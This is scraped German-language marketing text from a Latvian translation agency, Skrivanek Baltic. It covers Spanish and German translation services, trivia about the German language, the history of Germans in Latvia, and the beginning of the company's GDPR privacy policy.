GESCHÄFTSLEBEN Mehr als 600 Millionen Menschen auf der Welt sprechen Spanisch (7,8 % der Weltbevölkerung), womit es nach Chinesisch die am zweithäufigsten gesprochene Sprache ist. Das spanische Cervantes-Institut schätzt, dass diese Zahl bis zum Jahr 2100 auf 754 Millionen ansteigen wird. Es gibt viele Anzeichen, dass Englisch und Spanisch in den kommenden Jahren die dominierenden Sprachen der Geschäftswelt sein werden. Daher entscheiden sich viele Studenten für Spanisch. Spanisch ist in 21 Ländern Amtssprache. Die Kaufkraft spanischsprachiger Kunden nimmt sowohl in den USA als auch in Europa rasch zu und es gibt immer mehr spanische Unternehmen. Jetzt Spanisch zu lernen ist entscheidend, um in dem wachsenden Markt, in dem Spanisch die neue Transaktionssprache ist, mitzureden. Spanischkenntnisse können den Aufbau langfristiger Geschäftsbeziehungen mit spanischsprachigen Kunden, Lieferanten und Partnern unterstützen. Nicht nur Europa, sondern auch die USA und viele lateinamerikanische Länder spielen eine wichtige Rolle in der Weltwirtschaft. BEZIEHUNGEN ZWISCHEN SPANIEN UND LETTLAND 2011 wurde der 100. Jahrestag der Aufnahme diplomatischer Beziehungen zwischen Spanien und Lettland gefeiert. Spanien ist seit Jahren ein fester Geschäftspartner Lettlands, was durch einen soliden Handelsumsatz bestätigt wird. Lettland exportiert hauptsächlich elektrische Geräte, Pflanzen und Produkte der Lebensmittelindustrie nach Spanien und importiert Obst, Gemüse, Getränke und Textilien. Lettland importiert mehr als es exportiert, was eine negative Handelsbilanz und ein starkes Gefälle bei den Warenströmen bedeutet. Lettland und Spanien arbeiten auch in den Bereichen Kultur und Bildung erfolgreich zusammen. 1995 führte die lettische Kulturakademie das Unterprogramm Interkulturelle Kommunikation Lettland - Spanien ein. Die lettische Kulturakademie hat im Rahmen von Erasmus+ Vereinbarungen mit zahlreichen spanischen Universitäten unterzeichnet. Eine aktive Zusammenarbeit findet zwischen der Universität Murcia und der Technischen Universität Riga sowie zwischen der Universität Rey Juan Carlos und der Universität Turība statt. Auch die lettische Kunstakademie und die lettische Kulturhochschule arbeiten mit spanischen Bildungseinrichtungen zusammen. Darüber hinaus bietet die Universität Liepāja ein Studium der spanischen Sprache in Lettland an. Auch im Bereich der Kultur hat sich eine intensive Zusammenarbeit zwischen Museen, Bibliotheken, Opernhäusern und Künstlern entwickelt. Das lettische Nationalmuseum für Kunst und Museen in Spanien überlassen einander Exponate aus ihren Sammlungen zur Aufbewahrung. Das Nationale Filmzentrum Lettlands arbeitet mit dem Internationalen Filmfestival von San Sebastián zusammen, das zu den wichtigsten und ältesten europäischen Filmfestivals zählt. DIE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN VOM/INS SPANISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Spanisch; Spanisch nach Lettisch; Estnisch nach Spanisch; Spanisch nach Estnisch; Litauisch nach Spanisch; Spanisch nach Litauisch; Russisch nach Spanisch; Spanisch nach Russisch; Tschechisch nach Spanisch; Spanisch nach Tschechisch; Polnisch nach Spanisch; Spanisch nach Polnisch; Ukrainisch nach Spanisch; Spanisch nach Ukrainisch; Spanisch nach Englisch; Englisch nach Spanisch; Deutsch nach Spanisch; Spanisch nach Deutsch; Italienisch nach Spanisch; Spanisch nach Italienisch; Französisch nach Spanisch; Spanisch nach Französisch; Dänisch nach Spanisch; Spanisch nach Dänisch; Norwegisch nach Spanisch; Spanisch nach Norwegisch; Schwedisch nach Spanisch; Spanisch nach Schwedisch; Finnisch nach Spanisch; Spanisch nach Finnisch und andere. DIE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN VOM/INS SPANISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Spanisch; Spanisch nach Lettisch; Estnisch nach Spanisch; Spanisch nach Estnisch; Litauisch nach Spanisch; Spanisch nach Litauisch; Russisch nach Spanisch; Spanisch nach Russisch; Tschechisch nach Spanisch; Spanisch nach Tschechisch; Polnisch nach Spanisch; Spanisch nach Polnisch; Ukrainisch nach Spanisch; Spanisch nach Ukrainisch; Spanisch nach Englisch; Englisch nach Spanisch; Deutsch nach Spanisch; Spanisch nach Deutsch; Italienisch nach Spanisch; Spanisch nach Italienisch; Französisch nach Spanisch; Spanisch nach Französisch; Dänisch nach Spanisch; Spanisch nach Dänisch; Norwegisch nach Spanisch; Spanisch nach Norwegisch; Schwedisch nach Spanisch; Spanisch nach Schwedisch; Finnisch nach Spanisch; Spanisch nach Finnisch und andere. --- > Allgemeine und Fachübersetzungen, notariell beglaubigte Übersetzungen, Dolmetschen, Sprachkurse und Sprachdienstleistungen für die deutsche Sprache. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN IN DEUTSCH WIE VIEL KOSTEN ÜBERSETZUNGEN INS DEUTSCHE? Der Preis für die Übersetzung ins und vom Deutschen wird für jeden Auftrag individuell festgelegt. Der Preis setzt sich nach der aktuellen Preisliste von Skrivanek aus mehreren Komponenten zusammen. Der Preis für eine Konsekutivübersetzung hängt von der Dauer der Dienstleistung und der gewünschten Sprachkombination ab. Der Preis einer schriftlichen Übersetzung richtet sich nach dem Umfang des Originaltextes, den Fristen, den Besonderheiten des Textinhalts, den Wiederholungen im Text, der grafischen Bearbeitung, der Textformatierung, der Korrektur sowie den vom Kunden gewünschten Zusatzleistungen. IST DIE PREISLISTE FÜR DIE ÜBERSETZUNG VERFÜGBAR Die Preisliste für schriftliche Übersetzungen sowie für Dolmetschen (konsekutiv und simultan), Lokalisierungen und Adaptionen ins und aus dem Deutschen ist ein fester Bestandteil unserer Kundenverträge. Wenn der Kunde bestimmte Dienstleistungen wie die notarielle Beglaubigung der Übersetzung usw. wünscht, informieren wir ihn vor Beginn des Übersetzungsprojekts und der Vertragsunterzeichnung stets ausführlich über die Kosten der Übersetzung und andere zusätzliche Kosten. Der Preis für die Übersetzung richtet sich nach dem Umfang des zu übersetzenden Materials, den Wiederholungen im Text, der Sprachkombination und den Anforderungen an die Materialbearbeitung und den Kontext des Übersetzungsmaterials. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Deutsche oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere deutschsprachigen Dienstleistungen umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Deutsche Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Suchen Sie nach einer Sprachdienstleistung auf Deutsch? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Qualität und Diskretion durch ISO-Zertifikate garantiert Unsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99 % der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98 % unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE DEUTSCHE SPRACHE UND DEUTSCHLAND Deutsch gehört zur westgermanischen Sprachgruppe der indoeuropäischen Sprachfamilie. Seine Ursprünge reichen bis kurz vor dem 1. Jahrhundert v. Chr. zurück, als germanische Stämme von Süden her nach Mitteleuropa kamen. Später spaltete sich die germanische Sprache in drei regionale Formen auf: Nordgermanisch, Ostgermanisch und Westgermanisch. Über die Jahrhunderte hinweg entwickelte sich das Westgermanische zu den heutigen Sprachen Deutsch, Niederländisch, Friesisch, Luxemburgisch, Afrikaans, Schottisch und Englisch. Die Geschichte des heutigen Deutsch lässt sich in drei Perioden unterteilen: 1. Althochdeutsch (750-1050 n. Chr. ) 2. Mittelhochdeutsch (1050-1500) 3. Neuhochdeutsch (1500 bis heute). Sie ist die Muttersprache von rund 108 Millionen Menschen, womit Deutsch weltweit auf Platz 10 liegt. Deutsch ist in der Europäischen Union jedoch die am weitesten verbreitete Muttersprache. Deutsch ist Amtssprache in mehreren europäischen Ländern: Österreich, Liechtenstein, Luxemburg, Schweiz und Deutschland. Andere deutschsprachige Gemeinschaften leben in Ostbelgien, Süddänemark, Frankreich (Region Elsass) und Norditalien. Laut dem lettischen Übersetzer und Philologen Valdis Bisenieks ist die deutsche Sprache insofern eine Besonderheit, weil sie sich nicht wie andere Sprachen von einem Dialekt heraus natürlich entwickelt hat, sondern künstlich geschaffen wurde. Dies fing bei Martin Luther an und endete mit Theodor Siebs Bühnendeutsch , das in Deutschland so beliebt war, dass es als universelle Aussprache angenommen wurde. Martin Luther hat aus unterschiedlichen deutschen Dialekten unterschiedliche Wörter genommen und obwohl es die Sprache etwas künstlich macht, klingt sie irgendwie natürlich. Wo es Wortvarianten gibt, entstehen ganz unterschiedliche Bedeutungen. Deutsch war die Sprache von Bach, Beethoven, Brahms, Brecht, Einstein, Freud, Goethe, Grass, Hegel, Kafka, Kant, Mann, Mozart, Nietzsche, Schubert, Wagner, Weber und Hunderten von anderen weltberühmten Philosophen, Komponisten, Künstlern, Wissenschaftlern und Schriftstellern! 68% der japanischen Studenten lernen Deutsch. Mark Twain sagte über die deutsche Sprache und die Vorliebe der Deutschen für Zusammensetzungen, dass sie keine Wörter sind, sondern „grammatikalische Spaziergänge, die majestätisch über die Seite schreiten". Wortzusammensetzungen im Deutschen sind für Deutschlerner sicherlich eine Qual, aber für Liebhaber der deutschen Sprache sind sie spannend. Im Deutschen werden alle Substantive großgeschrieben und haben geschlechtsspezifische Artikel. Femininen Substantiven wird der Artikel „die“ vorangestellt, maskulinen Substantiven „der“, und Substantiven des Neutrums „das“. „Rindfleischetikettierungsüberwachungsaufgabenübertragungsgesetz" ist mit 63 Buchstaben das längste Wort im Deutschen. Das Wort „Rindfleischetikettierungsüberwachungsaufgabenübertragungsgesetz“ wurde 1999 während der BSE-Krise (bovine spongiforme Enzephalopathie) geschaffen. Er wurde als „RkReÜAÜG“ abgekürzt, was man auch nicht aussprechen konnte. In Deutschland gibt es mindestens 35 Dialekte und es kann durchaus schwierig sein, Menschen aus anderen Regionen zu verstehen. Deshalb gibt es bei regionalen Filmen Untertitel. Die Deutschen sind sehr auf ihre Sprache bedacht und die meisten ausländischen Filme werden vor der Premiere von einheimischen deutschen Schauspielern synchronisiert. Die Synchronisation in Deutschland entwickelte sich deswegen zu einer millionenschweren Industrie. Der deutsche Süßwarenhersteller Haribo hat ein Projekt ins Leben gerufen, bei dem lokale Kinder Eicheln gegen Süßigkeiten eintauschen können. Die gesammelten Eicheln wurden später an Naturschutzgebiete geschickt, um die Tiere zu füttern. Jedes Jahr werden in Deutschland 800 Millionen Currywürste verzehrt. Hierzulande ist der Snack sogar so beliebt, dass es in Berlin ein Museum dafür gibt. Als Land mit einer langen Geschichte, reichen Kultur und Traditionen kann man über Deutschland noch so viel mehr erzählen. Es ist die Heimat weltbekannter Genies aus den Bereichen der Kultur, Bildung, Wissenschaft, Politikwissenschaft und vielen anderen. Aber das Wichtigste ist, dass Deutsch eine Sprache ist, die uns allen eine Tür öffnet, um ein schönes Land, eine schöne Kultur und die manchmal amüsanten deutschen Bräuche kennenlernen zu dürfen. DAS DEUTSCHE ALPHABET Das deutsche Alphabet besteht aus 26 lateinischen Buchstaben. Buchstaben mit Umlauten (ä, ö, ü) und die Ligatur ß sind nicht im Alphabet enthalten. Der Umlaut, auch Diakritikum genannt, markiert die Abschwächung eines Vokals. Die Ligatur Eszett „ß“ ist der Doppellaut „ss“ in einem Symbol. Die gotische Schrift wurde offiziell bis Anfang des 20. Jahrhunderts verwendet. Die heutige Schreibweise wurde im 19. Jahrhundert eingeführt, aber erst nach der Revolution 1918 offiziell bestätigt. Die Nationalsozialistische Deutsche Arbeiterpartei (NSDAP) versuchte vergeblich, die gotische Schrift zu erneuern; heute dient sie nur noch dekorativen Zwecken. Die Phoneme werden durch neun Vokale des lateinischen Alphabets (a, e, i, y, o, u, ä, ö, ü) und 20 Konsonanten (b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, ß, v, w, x, z) sowie deren Kombinationen (z. B. sch /ʃ/, ng /ŋ/) dargestellt. Die deutsche Rechtschreibung bedient sich hauptsächlich der morphologischen und phonetischen Prinzipien, bewahrt aber auch teilweise die historische Schreibweise und damit zum Beispiel verschiedene Vokallängenmarkierungen. WIE SCHWER IST DIE DEUTSCHE SPRACHE? „Ein begabter Mensch sollte Englisch in 30 Stunden, Französisch in 30 Tagen und Deutsch in 30 Jahren lernen können. “ -Mark Twain Die deutsche Sprache fällt nicht in die Kategorie der am schwierigsten zu erlernenden Sprachen. Etwa 45% der Wörter sind den englischen Wörtern ähnlich, was das Lernen für Englischsprachige erleichtert. Viel mehr muss man bei der Verwendung der drei deutschen Artikel aufpassen. Die beste Lösung hier ist das Üben der Sprache und Auswendiglernen. Die grammatikalische Struktur der Sätze ist ungewöhnlich. Wenn ein Satz zwei Verben enthält oder wenn eine zusammengesetzte Zeitform verwendet wird, steht das zweite Verb am Ende des Satzes. Diese grammatikalische Regel ist im Vergleich zu anderen Sprachen eher selten. Geduld, Zeit und der Wunsch diese Sprache zu können gelten als Schlüssel für das Erlernen von Deutsch oder jeder anderen Sprache. Wie lange man braucht, um die Sprache zu erlernen, ist von Person zu Person unterschiedlich. Manche brauchen mehrere Jahre, manche nur ein Jahr. Man geht davon aus, dass man 30 Wochen oder 750 Lernstunden braucht, um auf Deutsch Konversationen führen zu können. WO UND WIE VIELE MENSCHEN SPRECHEN DEUTSCH? Weltweit gibt es etwa 185 Millionen Deutschsprecher, davon sind 105 Millionen Muttersprachler. 80 Millionen Menschen verwenden Deutsch als Zweit- oder Fremdsprache im täglichen Leben. Deutsch wird hauptsächlich in Deutschland gesprochen (mehr als 95 % der Bevölkerung sind Muttersprachler), 89 % in Österreich und 64 % in der Schweiz. Deutsch ist die Muttersprache vieler Einwohner in Liechtenstein und Luxemburg. Was den Rest Europas betrifft, so leben viele Deutschsprachige in Norditalien, Ostbelgien und im Elsass in Frankreich. Kleinere deutschsprachige Gemeinschaften leben in Tschechien, Ungarn, Polen, Rumänien sowie in Russland und Kasachstan, wohin die Deutschen während des Zweiten Weltkriegs deportiert wurden. Einige von ihnen kehrten in den 1980er und 1990er Jahren in ihr Heimatland zurück. Sehr kleine deutschsprachige Gemeinschaften leben in Bulgarien, Zypern, Griechenland, Israel, Italien, Marokko, den Niederlanden, Portugal usw. Außerhalb Europas leben die meisten Deutschsprachigen in den USA, Kanada, Brasilien und Argentinien. Deutsch ist die Amtssprache in Deutschland, Belgien, Österreich, Liechtenstein, Luxemburg und der Schweiz. Deutsch ist auch eine der Amts- und Arbeitssprachen der Europäischen Union DOLMETSCHER UND ÜBERSETZER DER DEUTSCHEN SPRACHE Das Dolmetscher- und Übersetzerteam von Skrivanek arbeitet mit schriftlichen Übersetzungen von Standarddokumenten, technischen Übersetzungen sowie beglaubigten Übersetzungen. Das Übersetzungsbüro Skrivanek sorgt auch für das Korrekturlesen und die stilistische Korrektur deutscher Texte. Für unsere Geschäftskunden übersetzen wir in der Regel Produktbeschreibungen, E-Commerce-Inhalte und Websites, Werbeslogans und Marketingtexte, Kooperationsverträge und Geschäftsunterlagen vom und ins Deutsche. Wir bieten auch Konsekutiv- und Simultandolmetschen für formelle und andere Arten von Konversationen an, einschließlich auf Zoom und anderen Online-Plattformen, Live-Konferenzen und anderen Veranstaltungen. Die Übersetzer von Skrivanek vom Lettischen ins Deutsche arbeiten auch mit staatlichen Institutionen bei der Übersetzung von Kooperationsverträgen und juristischen Dokumenten zusammen. Die Übersetzung medizinischer Texte und von Dokumenten ist auf Wunsch sowohl für juristische als auch für natürliche Personen möglich. Für natürliche Personen bieten wir die Übersetzung von Ausweisdokumenten, Heiratsurkunden, Geburtsurkunden, Bildungsdokumenten, Reisepässen, medizinischen Dokumenten und anderen Dokumenten an. Da wir ein internationales Übersetzungsbüro sind und mit Kunden aus allen baltischen Staaten zusammenarbeiten, können wir unseren aktuellen und potenziellen Kunden Übersetzungen aus dem Deutschen ins Litauische anbieten. In unserem Team sind auch erfahrene Übersetzer und Dolmetscher vom Deutschen ins Estnische. DEUTSCH IN DER WIRTSCHAFTSWELT Als bevölkerungsreichstes Land der Europäischen Union ist die Rolle Deutschlands in der internationalen Wirtschaft und Geschäftswelt seit der Wiedervereinigung erheblich gewachsen. Deutschland ist eine soziale und freie Marktwirtschaft, welche auch Sozialleistungen vorsieht. Die Wirtschaft Deutschlands ist eine der größten weltweit und Deutschland zählt zu den führenden Import- und Exportländern Der Dienstleistungssektor, zu dem Bereiche wie Telekommunikation, Gesundheitswesen und Tourismus gehören, leistet den größten Beitrag zur Wirtschaft des Landes. Weitere wichtige Wirtschaftszweige sind die Industrie und die Landwirtschaft. Wenn man nur die Wirtschaftsentwicklung ansieht, könnte Deutschland nun hinter Japan auf dem 2. Platz auf der Weltrangliste stehen. Faktoren wie Lebensqualität, Arbeitsmarkt und Unternehmertum gilt es als das stärkste Land in Europa. Mehr als 185 Millionen Menschen in Deutschland und anderswo auf der Welt sprechen Deutsch als Muttersprache. Das Land zeichnet sich durch seine fortschrittliche technologische Entwicklung und seine Beliebtheit im E-Commerce aus und ist ein fantastischer Marktsektor für ausländische Unternehmer. Daher sind deutsche Sprachkenntnisse sehr einflussreich und wichtig für jede Geschäftsbeziehung in Deutschland und allen Ländern, in denen Deutsch die Amtssprache ist. Die Zielkundschaft im E-Commerce ist riesig. Sprechen Sie Deutsch, wenn Sie einen Geschäftspartner aus Deutschland gewinnen und an der dynamischsten Wirtschaft der Welt teilhaben wollen. Deutsche haben es lieber, Geschäfte mit einem Unternehmen zu machen, dessen Mitarbeiter auch Deutsch sprechen. Man konnte beobachten, dass Deutsche selbst weltbekannte Marken ablehnen können, wenn deren Webseite nur auf einer Sprache verfügbar ist. Das führt zu einer garantierten Entfremdung deutscher Kunden, auch wenn diese Englisch sprechen können. ZUSAMMENARBEIT ZWISCHEN DEUTSCHLAND UND LETTLAND Die Deutschen in Lettland, die zu den Deutschbalten gehören, sind eine der historischen Minderheiten in Lettland. Heute leben die lettischen Deutschen in Riga und Liepaja. Im Jahr 2017 waren die Deutschbalten die achtgrößte Minderheit und laut der Volkszählung von 2011 lebten 3. 042 Deutsche in Lettland. Die Ankunft der Deutschen in Lettland wird im ersten Teil der livländischen Chronik Heinrichs erwähnt, die Anfang des 13. Jahrhunderts verfasst wurde. Bischof St. Meinard aus Holstein kam um 1180 an die untere Düna und ließ sich bei den dort lebenden Liven nieder. Während der Livländischen Kreuzzüge wurde die Terra Mariana in den von den deutschen Kreuzfahrern eroberten Gebieten etabliert und neben dem Lateinischen gewannen das Deutsche und dessen niederdeutscher Dialekt als internationale Verkehrssprache zunehmend an Bedeutung. Nach der Gründung des Herzogtums Kurland und Semgallen sowie des schwedischen Livlands dominierte die deutsche Sprache in der Schriftgutverwaltung. Selbst nach der Kapitulation von Vidzeme 1710 waren die Deutschbalten und die deutsche Sprache in Vidzeme an der Macht. 1766 ordnete Zarin Katharina die Große des Russischen Reiches die Gründung einer deutschen Bauernsiedlung in der Gemeinde Irsi an. Der erste Siedler kam 1765 aus Lübeck und in den folgenden zwei Jahren zogen 86 Siedlerfamilien aus der Pfalz, Darmstadt und Pommern nach. Ende des 18. Jahrhunderts lebten etwa 6,5 % Deutsche in Lettland; Ende des 19. Jahrhunderts waren laut der Volkszählung von 1897 7,1 % (etwa 138 Tausend) der Einwohner Deutsche. Wegen der Revolution 1905 begann der deutsche Adel Kurlands in den Jahren 1908 bis 1913 damit, deutsche Siedler aus den Grenzgebieten des Russischen Reiches (Polen und Südrussland) auf den von ihnen gekauften und vom Kurländischen Kreditverein in Jelgava finanzierten Gütern anzusiedeln. Die erste deutsche Bauernsiedlung in Kurland wurde in den Gemeinden Kurmale und Planica gegründet. Insgesamt ließen sich bis zum Beginn des Ersten Weltkriegs rund 13. 000 deutsche Bauern in der Provinz Kurland nieder. Nach der Erlangung der Unabhängigkeit in den 1920er und 1930er Jahren ging die Zahl der Deutschen in Lettland zurück, aber sie behielten ihren Einfluss auf die lettische Wirtschaft: 1935 befanden sich 15,7 % der 922 großen Industrieunternehmen in deutschem Besitz und auf sie entfielen 36,7 % der Gesamtproduktion. Nach Beginn des Zweiten Weltkriegs, zwischen dem 7. November und dem 16. Dezember 1939, wanderten etwa 47. 000 Deutschbalten aus Lettland aus, während etwa 4. 000 bis 7. 000 zurückblieben. Nach der Besetzung Lettlands unterzeichneten die Regierungen Deutschlands und der UdSSR am 10. Januar 1941 ein Abkommen, das die weitere Auswanderung von Deutschbalten ermöglichte. Deutschland und Lettland sind heute durch geografische Nähe und eine lange gemeinsame Geschichte verbunden, insbesondere seit der Mitgliedschaft Lettlands in der EU und der NATO, die auch von der deutschen Regierung aktiv unterstützt wurde. Die Schicksale der beiden Länder sind eng miteinander verbunden, da sie ein echtes Bündnis aufbauen konnten. In der Realität mussten sie sich wieder durchsetzen, wie die Herausforderungen der Finanz- und Flüchtlingskrise sowie der Sicherheitspolitik zeigen, die nur gemeinsam bewältigt werden können. Dabei geht es nicht nur um die Beteiligung Deutschlands an der Kontrolle des baltischen Luftraums und an Manövern, um Marinebesuche oder um die militärische Unterstützung, die zum Beispiel von einem der vier multinationalen Bataillone unter deutscher Führung durch die NATO in den baltischen Staaten und Polen geleistet wird. Deutschland hat einen wesentlichen Beitrag zur Sicherheit und Stabilität des Ostseeraums geleistet. Deutschland nimmt regelmäßig an Luftpatrouilleneinsätzen im Baltikum teil. Auch im Bereich Verkehr und Logistik arbeitet Lettland eng mit Deutschland zusammen. Deutschland ist eines der Länder, deren Unternehmen an dem Infrastrukturprojekt Rail Baltica beteiligt sind. Im Dezember 2021 wurde in Riga eine Absichtserklärung zwischen den Ministerien für Verkehr, Soziales sowie Bildung und Wissenschaft und der DB Engineering & Consulting GmbH, einer Tochtergesellschaft der Deutschen Bahn, unterzeichnet, um eine Zusammenarbeit bei der Entwicklung der Bildung im Eisenbahn- und Verkehrssektor zu vereinbaren. In der Absichtserklärung wird ein gemeinsames Verständnis für die Notwendigkeit des Aufbaus einer Eisenbahnakademie dargelegt, die Riga und Lettland dabei helfen soll, sich zu einem Wissenszentrum der baltischen Eisenbahn- und Logistikindustrie zu entwickeln. Erst nach Unterzeichnung der Absichtserklärung können weitere Schritte für die Gründung der Akademie eingeleitet werden. Die Zusammenarbeit zwischen Lettland und Deutschland im Bereich der Hochschulbildung erfolgt insbesondere auf der Grundlage von bilateralen Kooperationsabkommen zwischen Hochschulen und im Rahmen des Erasmus-Unterprogramms des Programms für lebenslanges Lernen. Seit mehreren Jahren bietet der Deutsche Bundestag jungen Menschen bis zum Alter von 32 Jahren die Möglichkeit, am Internationalen Parlamentsstipendienprogramm teilzunehmen. Lettland trat diesem Programm 1992 bei. Seit 2010 bietet die lettische Saeima (Parlament) auch deutschen Studierenden die Möglichkeit, jährlich an Praktika teilzunehmen. Die Deutsche Botschaft und das Goethe-Institut in Riga unterstützen in Zusammenarbeit mit dem lettischen Deutschlehrerverband und dem Nationalen Bildungszentrum den Deutschunterricht in lettischen Bildungseinrichtungen in hohem Maße. Im Laufe ihrer gemeinsamen jahrhundertelangen Geschichte haben die deutschen Traditionen und die deutsche Kultur auch einen bedeutenden Einfluss auf die Gestaltung und Entwicklung des lettischen Kultur- und Berufslebens gehabt. Das Goethe-Institut ist seit 1993 in Lettland tätig und ist für viele lettische Kultureinrichtungen ein aktiver Partner im kulturellen und künstlerischen Bereich geworden. Der Beitrag des Goethe-Instituts in Riga und anderer deutscher Kultureinrichtungen und -vertreter bei der Vermittlung deutscher Literatur, Kunst, Musik, Film und anderer Bereiche an die lettische Bevölkerung wird hoch geschätzt und unterstützt. Die deutsche Botschaft in Lettland befindet sich ebenfalls in Riga: https://riga. diplo. de/ DIE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN VOM/INS DEUTSCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Deutsch; Deutsch nach Lettisch; Estnisch nach Deutsch; Deutsch nach Estnisch; Litauisch nach Deutsch; Deutsch nach Litauisch; Russisch nach Deutsch; Deutsch nach Russisch; Tschechisch nach Deutsch; Deutsch nach Tschechisch; Polnisch nach Deutsch; Deutsch nach Polnisch; Ukrainisch nach Deutsch; Deutsch nach Ukrainisch; Deutsch nach Spanisch; Spanisch nach Deutsch; Englisch nach Deutsch; Deutsch nach Englisch; Italienisch nach Deutsch; Deutsch nach Italienisch; Französisch nach Deutsch; Deutsch nach Französisch; Dänisch nach Deutsch; Deutsch nach Dänisch; Norwegisch nach Deutsch; Deutsch nach Norwegisch; Schwedisch nach Deutsch; Deutsch nach Schwedisch; Finnisch nach Deutsch; Deutsch-Finnisch und andere. DIE MEIST GEFRAGTEN SPRACHDIENSTLEISTUNGEN VOM/INS DEUTSCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Deutsch; Deutsch nach Lettisch; Estnisch nach Deutsch; Deutsch nach Estnisch; Litauisch nach Deutsch; Deutsch nach Litauisch; Russisch nach Deutsch; Deutsch nach Russisch; Tschechisch nach Deutsch; Deutsch nach Tschechisch; Polnisch nach Deutsch; Deutsch nach Polnisch; Ukrainisch nach Deutsch; Deutsch nach Ukrainisch; Deutsch nach Spanisch; Spanisch nach Deutsch; Englisch nach Deutsch; Deutsch nach Englisch; Italienisch nach Deutsch; Deutsch nach Italienisch; Französisch nach Deutsch; Deutsch nach Französisch; Dänisch nach Deutsch; Deutsch nach Dänisch; Norwegisch nach Deutsch; Deutsch nach Norwegisch; Schwedisch nach Deutsch; Deutsch nach Schwedisch; Finnisch nach Deutsch; Deutsch-Finnisch und andere. --- > Datenschutzbestimmungen des internationalen Sprachdienstleisters Skrivanek Baltic Datenschutzbeauftragter Uldis Krūmiņš, E-Mail: dpo@skrivanek.lv. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/privatuma-politika/ - Translation Priorities: Optional Der Controller achtet auf die Privatsphäre der Besucher und die Verarbeitung personenbezogener Daten, beachtet die Rechte der Besucher in Bezug auf die Verarbeitung personenbezogener Daten und die Rechtmäßigkeit der Verarbeitung in Übereinstimmung mit den geltenden Rechtsakten: Die Verordnung (EU) Nr. 2016/679 des Europäischen Parlaments und des Rates vom 27. April 2016 zum Schutz natürlicher Personen bei der Verarbeitung personenbezogener Daten und zum freien Datenverkehr ("Verordnung") und andere anwendbare Rechtsakte im Bereich des Schutzes der Privatsphäre und der Datenverarbeitung. Vor diesem Hintergrund hat der Controller diese Datenschutzrichtlinie entwickelt, um die in der Verordnung geforderten Informationen bereitzustellen. 1. 1 Leiter der Verarbeitung personenbezogener Daten ist die Skrivanek Baltic GmbH, Reg. Nr. : 40003626172, Geschäftsanschrift Lāčplēša iela 87C, Riga, LV-1011, Telefon: (+371) 67 240 364 (nachstehend "Skrivanek" genannt), Websites: www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv. 2. 1 Skrivanek verarbeitet die personenbezogenen Daten des Kunden so, wie es die Gesetze der Republik Lettland und der Europäischen Union vorschreiben und erlauben. Andere Datenverarbeiter von Skrivanek sind ebenfalls berechtigt, die Daten der Kunden zu erhalten und zu verarbeiten. Für weitere Informationen über Partner kontaktieren Sie bitte Skrivanek über die angegebenen Kommunikationskanäle (siehe "Kontakt" auf der Skrivanek-Webseite). 3. 1 Verordnung; 3. 2 Gesetzgebung über die Verarbeitung personenbezogener Daten; 3. 3 Organisation und Durchführung von Kindercamps (MK, Nr. 981); 3. 4 Das Kinderschutzgesetz. 4. 1 Die Datenschutzrichtlinie ("Richtlinie") gibt Auskunft darüber, wie Skrivanek 